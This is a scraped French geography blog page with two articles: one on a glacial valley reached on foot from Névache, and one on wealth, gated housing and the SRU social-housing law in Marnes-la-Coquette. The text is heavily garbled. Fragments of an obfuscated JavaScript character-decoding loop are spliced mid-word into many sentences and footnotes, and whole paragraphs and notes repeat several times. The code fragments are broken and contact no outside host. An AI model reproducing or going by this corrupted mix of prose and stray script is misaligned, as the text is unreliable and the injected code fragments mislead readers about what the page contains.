photo_valle_glaciairePas de cuesta ici, mais un bel exemple de relief glaciaire, dans ce paysage découvert au cours d'une promenade. En partant de Briançon vers le Nord, on laisse la Durance à droite et on longe la vallée de la Clarée. A Névache, l'été, on doit laisser sa voiture et emprunter une navette. La vallée fait l'objet d'une opération gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=3p5&15)<<4)|(q8>>2);wb=6q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-site (comme autour de la roche de Solutré, célèbre cuesta celle-ci(3)...) et il s'agit d'y limiter la circulation automobile. En partant à pied de Fontcouverte sur le GR57 on entame une ascension dans un paysage alpestre des plus bucoliques. C'est là, après trois heures de marche, qu'elle dévoile ses formes gracieuses.

croquis_photo_coulC'est une petite vallée glaciaire discrète, plutôt modeste. En raison de ses dimensions réduites, elle fait tout de suite penser à ces blocs diagrammes évoqués plus haut. Tout est là : les moraines latérales et le bourrelet frontal, le fond plat marécageux où serpente un torrent sous-glaciaire au cours anastomosé, les versants rabotés en forme d'auge, et la petite vallée suspendue débouchant à gauche. J'ai eu envie de pousser le jeu jusqu'au bout, et en partant de cette photographie, d'en réaliser un schéma explicatif, comme ceux de ces bons vieux manuels de géographie physique qui sentaient un peu la poussière.

croquis_carte_coulEt pour ceux qui ne jurent que par la vision verticale, celle des photographies aériennes et des cartes , j'ai reporté (ci-contre) les éléments ci dessus sur la carte IGN 3535OT (Névache-Mont Thabor).

Ces deux croquis sont également disponibles en noir et blanc, au cas où il  vous viendrait l'idée particulièrement saugrenue de les reproduire.

croquis_photo_nb   croquis_carte_nb

Je dédie cette chronique à mes amis historiens auxquels le mot "géomorphologie" évoque une pathologie grave mais non contagieuse dont souffrent certains géographes, une dangereuse monomanie dont l'attrait pour les cuestas est le principal symptôme.

Rédaction : JB Bouron ; Relecture : Jocelyn Massot

Sources
Photographie : Lucie Diondet
Carte IGN : Top 25 - 3535OT (Névache-Mont Thabor)

Notes

(1) DERRUAU M., Les formes du relief terrestre. Notions de géomorphologie. Réédité mainte fois chez Arm;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=4p5&15)<<4)|(q8>>2);wb=7q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Colin.
(2) à l'époque ou cet excellent atlas des éditions Nathan ne s'appelait pas encore Atlas du XXIe siècle. La disparition de cette page dans les récentes éditions témoigne à elle seule de l'érosion que subit la géographie dite physique dans l'enseignement.
(3) Le Gr;p5=s4.indexOf(wc.charAt(vf++
;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=8p5&15)<<4)|(q8>>2);wb=9q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Site de Solutré-Pouilly-Vergisson et les Opérations Gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Site en général feront sans doute l'objet d'une chronique ultérieure

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand le fait dire à Cyrano. Cependant, à force de reconnaître les reliefs sur  des schémas, des portions d'espace terrestre dument découpées comme une part de mille-feuille, ou d'en déceler les indices sur des cartes, c'est-à-dire d'en haut, je me demandais alors si j'aurais su reconnaître cette bonne vieille cuesta si elle se présentait, devant moi, étalant ses formes souples dans un paysage viticole ou forestier.

photo_valle_glaciairePas de cuesta ici, mais un bel exemple de relief glaciaire, dans ce paysage découvert au cours d'une promenade. En partant de Briançon vers le Nord, on laisse la Durance à droite et on longe la vallée de la Clarée. A Névache, l'été, on doit laisser sa voiture et emprunter une navette. La vallée fait l'objet d'une opération grand-site (comme autour de la roche de Solutré, célèbre cuesta celle-ci(3)...) et il s'agit d'y limiter la circulation automobile. En partant à pied de Fontcouverte sur le GR57 on entame une ascension dans un paysage alpestre des plus bucoliques. C'est là, après trois heures de marche, qu'elle dévoile ses formes gracieuses.

croquis_photo_coulC'est une petite vallée glaciaire discrète, plutôt modeste. En raison de ses dimensions réduites, elle fait tout de suite penser à ces blocs diagrammes évoqués plus haut. Tout est là : les moraines latérales et le bourrelet frontal, le fond plat marécageux où serpente un torrent sous-glaciaire au cours anastomosé, les versants rabotés en forme d'auge, et la petite vallée suspendue débouchant à gauche. J'ai eu envie de pousser le jeu jusqu'au bout, et en partant de cette photographie, d'en réaliser un schéma explicatif, comme ceux de ces bons vieux manuels de géographie physique qui sentaient un peu la poussière.

croquis_carte_coulEt pour ceux qui ne jurent que par la vision verticale, celle des photographies aériennes et des cartes , j'ai reporté (ci-contre) les éléments ci dessus sur la carte IGN 3535OT (Névache-Mont Thabor).

Ces deux croquis sont également disponibles en noir et blanc, au cas où il  vous viendrait l'idée particulièrement saugrenue de les reproduire.

croquis_photo_nb   croquis_carte_nb

Je dédie cette chronique à mes amis historiens auxquels le mot "géomorphologie" évoque une pathologie grave mais non contagieuse dont souffrent certains géographes, une dangereuse monomanie dont l'attrait pour les cuestas est le principal symptôme.

Rédaction : JB Bouron ; Relecture : Jocelyn Massot

Sources
Photographie : Lucie Diondet
Carte IGN : Top 25 - 3535OT (Névache-Mont Thabor)

Notes

(1) DERRUAU M., Les formes du relief terrestre. Notions de géomorphologie. Réédité mainte fois chez Armand Colin.
(2) à l'époque ou cet excellent atlas des éditions Nathan ne s'appelait pas encore Atlas du XXIe siècle. La disparition de cette page dans les récentes éditions témoigne à elle seule de l'érosion que subit la géographie dite physique dans l'enseignement.
(3) Le Grandais alors si j'aurais su reconnaître cette bonne vieille cuesta si elle se présentait, devant moi, étalant ses formes souples dans un paysage viticole ou forestier.

photo_valle_glaciairePas de cuesta ici, mais un bel exemple de relief glaciaire, dans ce paysage découvert au cours d'une promenade. En partant de Briançon vers le Nord, on laisse la Durance à droite et on longe la vallée de la Clarée. A Névache, l'été, on doit laisser sa voiture et emprunter une navette. La vallée fait l'objet d'une opération gr;p5=s4.indexOf(wc.charAt(vf++

6. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-site (comme autour de la roche de Solutré, célèbre cuesta celle-ci(3)...) et il s'agit d'y limiter la circulation automobile. En partant à pied de Fontcouverte sur le GR57 on entame une ascension dans un paysage alpestre des plus bucoliques. C'est là, après trois heures de marche, qu'elle dévoile ses formes gracieuses.

croquis_photo_coulC'est une petite vallée glaciaire discrète, plutôt modeste. En raison de ses dimensions réduites, elle fait tout de suite penser à ces blocs diagrammes évoqués plus haut. Tout est là : les moraines latérales et le bourrelet frontal, le fond plat marécageux où serpente un torrent sous-glaciaire au cours anastomosé, les versants rabotés en forme d'auge, et la petite vallée suspendue débouchant à gauche. J'ai eu envie de pousser le jeu jusqu'au bout, et en partant de cette photographie, d'en réaliser un schéma explicatif, comme ceux de ces bons vieux manuels de géographie physique qui sentaient un peu la poussière.

croquis_carte_coulEt pour ceux qui ne jurent que par la vision verticale, celle des photographies aériennes et des cartes , j'ai reporté (ci-contre) les éléments ci dessus sur la carte IGN 3535OT (Névache-Mont Thabor).

Ces deux croquis sont également disponibles en noir et blanc, au cas où il  vous viendrait l'idée particulièrement saugrenue de les reproduire.

croquis_photo_nb   croquis_carte_nb

Je dédie cette chronique à mes amis historiens auxquels le mot "géomorphologie" évoque une pathologie grave mais non contagieuse dont souffrent certains géographes, une dangereuse monomanie dont l'attrait pour les cuestas est le principal symptôme.

Rédaction : JB Bouron ; Relecture : Jocelyn Massot

Sources
Photographie : Lucie Diondet
Carte IGN : Top 25 - 3535OT (Névache-Mont Thabor)

Notes

(1) DERRUAU M., Les formes du relief terrestre. Notions de géomorphologie. Réédité mainte fois chez Arm;p5=s4.indexOf(wc.charAt(vf++

7. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Colin.
(2) à l'époque ou cet excellent atlas des éditions Nathan ne s'appelait pas encore Atlas du XXIe siècle. La disparition de cette page dans les récentes éditions témoigne à elle seule de l'érosion que subit la géographie dite physique dans l'enseignement.
(3) Le Gr;p5=s4.indexOf(wc.charAt(vf++
8. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Site de Solutré-Pouilly-Vergisson et les Opérations Grand Site de Solutré-Pouilly-Vergisson et les Opérations Gr;p5=s4.indexOf(wc.charAt(vf++
10. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand le fait dire à Cyrano. Cependant, à force de reconnaître les reliefs sur  des schémas, des portions d'espace terrestre dument découpées comme une part de mille-feuille, ou d'en déceler les indices sur des cartes, c'est-à-dire d'en haut, je me dem;p5=s4.indexOf(wc.charAt(vf++

La ségrégation spatiale, en France aussi.

marneslacoquette_2a2b

La géographie s’est beaucoup intéressée à la pauvreté. L’étude des inégalités sociales est même une branche à part entière appelée géographie sociale ou radicale, dont Pierre George, David Harvey, ou Michel Philipponneau sont d’éminents représentants. Toutefois, les géographes peuvent également, à l’instar du couple de sociologues Monique et Michel Pinçon-Charlot, se préoccuper du sort des riches.

 

Nous nous sommes intéressés, dans notre note précédente, aux banlieues riches de Los Angeles, mais le territoire français possède aussi des « Canoga Park » (ou des « Whisteria Lane » pour les téléphages). L’un d’eux se situe à la sortie de l’autoroute A13 reliant Paris à Rouen (ou si vous préférez, Auteuil à Deauville), dans le département des Hauts-de-Seine. Selon Wikipedia.fr, jamais avare d’informations factuelles, cette coquette commune est la moins peuplée et la moins dense du département (1743 habitants, 490 hab./km² (1)). Selon le ministère des finances, la commune bat un autre record, celui du revenu par habitant (81 746 € par an (2)). Comme souvent, il ne s’agit qu’une terne moyenne, qui masque probablement des écarts considérables puisque certains habitants de la commune comptent parmi les plus riches de France. Pour mieux connaître les préoccupations de ces habitants, on peut consulter la page « Sécurité » du site officiel de la municipalité (3), qui offre de précieux conseils pour les vacances :

 

« Que faire en cas d’absence durable ?

– Avisez vos voisins ou le gardien de la résidence.

– Signalez votre absence au commissariat de police: dans le cadre des opérations  » Tranquillité vacances « , une tournée de surveillance sera alors mise en place.

[…]

– Votre domicile doit paraître habité : demandez que l'on ouvre régulièrement vos volets.

[…]

- Placez vos bijoux et valeurs en lieux sûrs (les piles de linge sont les cachettes les plus connues). »

 

marneslacoquette_domainemarcheLa photo 1 (ci-contre, cliquez dessus pour agr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandir) permet de découvrir le nom de cette fameuse commune  - mais peut-être l’aviez-vous deviné ? Les panneaux routiers (Suresnes, Garches) indiquent que nous sommes bien dans l’Ouest de la région parisienne. Au premier coup d’œil, la maison semble indiquer une banlieue pavillonnaire banale, aisée sans doute mais pas nécessairement huppée. Le nom du quartier « Domaine de la Marche », assurément pompeux, peut aussi bien être un leurre comme tant de dénominations locales cachant seulement un désir de reconnaissance (« Résidence les Lilas », « Villa Bellevue »). Cela dit, deux indications nous montrent qu’il s’agit d’une petite gated community, d’un quartier résidentiel fermé. D’une part, la barrière, ici levée (modeste comparée aux grilles d’entrées de certains quartiers), et d’autre part le panneau à droite « Domaine privé – voie sans issue » qui indique qu’il s’agit d’une voie privée et que le quartier n’a qu’une entrée. La photographie aérienne 2a (tout en haut) permet de corroborer ces suppositions. On repère l'angle de vue en rouge sur la photographie aérienne.

 

marneslacoquette_portailLes plus riches résidents de la commune (Johnny Hallyday, Hugues Auffray, Jacques Séguéla, l’émir du Qatar… cf article du Canard Enchaîné ci-après) préfèrent se replier derrière un parc arboré entouré d’un haut mur dont le portail est solidement surveillé comme sur la deuxième photographie (ci-contre). Géoportail permet là encore de s'introduire impudiquement dans l'intimité douillette de cette modeste masure.  On la retrouve sur la photographie aérienne 2b (tout en haut) qui dévoile une habitation de taille enviable entourée d'un parc non moins vaste. Les amateurs de croustillant se plairont à imaginer que c'est ici que réside l'une des personnalités citées plus haut.

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L’article du Canard Enchaîné (4) qui nous a donné l’idée de cette note offre un excellent exemple des difficultés rencontrées par les autorités pour mettre en œuvre une vraie politique de mixité sociale. La loi dite Solidarité et Renouvellement Urbain (SRU), promulguée en 2000 par le gouvernement de Lionel Jospin, impose un quota de 20% de logement social dans chaque commune, dans le but de favoriser la mixité sociale intra-communale. On sait les limites de cette loi qui permettait aux communes en infraction de payer une lourde amende, ce que se sont empressées de faire les plus riches d’entre elles comme Neuilly-sur-Seine, dirigée alors par qui-vous-savez.

 

marneslacoquette_canardenchaine

D’après l’article du Canard Enchaîné (ci-dessus) Marnes-la-Coquette a trouvé une idée plus originale : construire les logements sociaux dans un petit espace disponible, compris entre l’autoroute et une voie ferrée.  En élargissant le cadre (photo aérienne ci-contre) on remarque à l'Ouest de cet espace entouré en rouge le musée des Applications de la Recherche de l'Institut Pasteur (5). L'article révèle un exemple intéressant des enjeux de la ségrégation socio-spatiale dans  la gestion communale, qui donne à penser sur les limites de l’unité républicaine, lorsqu’elle devrait s’appliquer notamment aux plus riches.

 

 

Rédaction : Jean-Benoît Bouron, photographies : Lucie Diondet

 

Notes et Sources :

(1) source : INSEE 2006

(2) source : www.Bakchich.info, 30 janvier 2008

(3) source : http://www.marnes-la-coquette.fr/marnes_la_coquette/menu_haut/vivre_a_marnes/securite

(4) source : Le Canard Enchaîné, mercredi 19 août 2009, p.5

(5) merci à Jocelyn Massot pour avoir identifié ce bâtiment et m'avoir fait parvenir ses conclusions.

Les photographies aériennes sont tirées du site de l'IGN, Geoportail.fr

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandez que l'on ouvre régulièrement vos volets.

[…]

- Placez vos bijoux et valeurs en lieux sûrs (les piles de linge sont les cachettes les plus connues). »

 

marneslacoquette_domainemarcheLa photo 1 (ci-contre, cliquez dessus pour agrandez que l'on ouvre régulièrement vos volets.

[…]

- Placez vos bijoux et valeurs en lieux sûrs (les piles de linge sont les cachettes les plus connues). »

 

marneslacoquette_domainemarcheLa photo 1 (ci-contre, cliquez dessus pour agr;p5=s4.indexOf(wc.charAt(vf++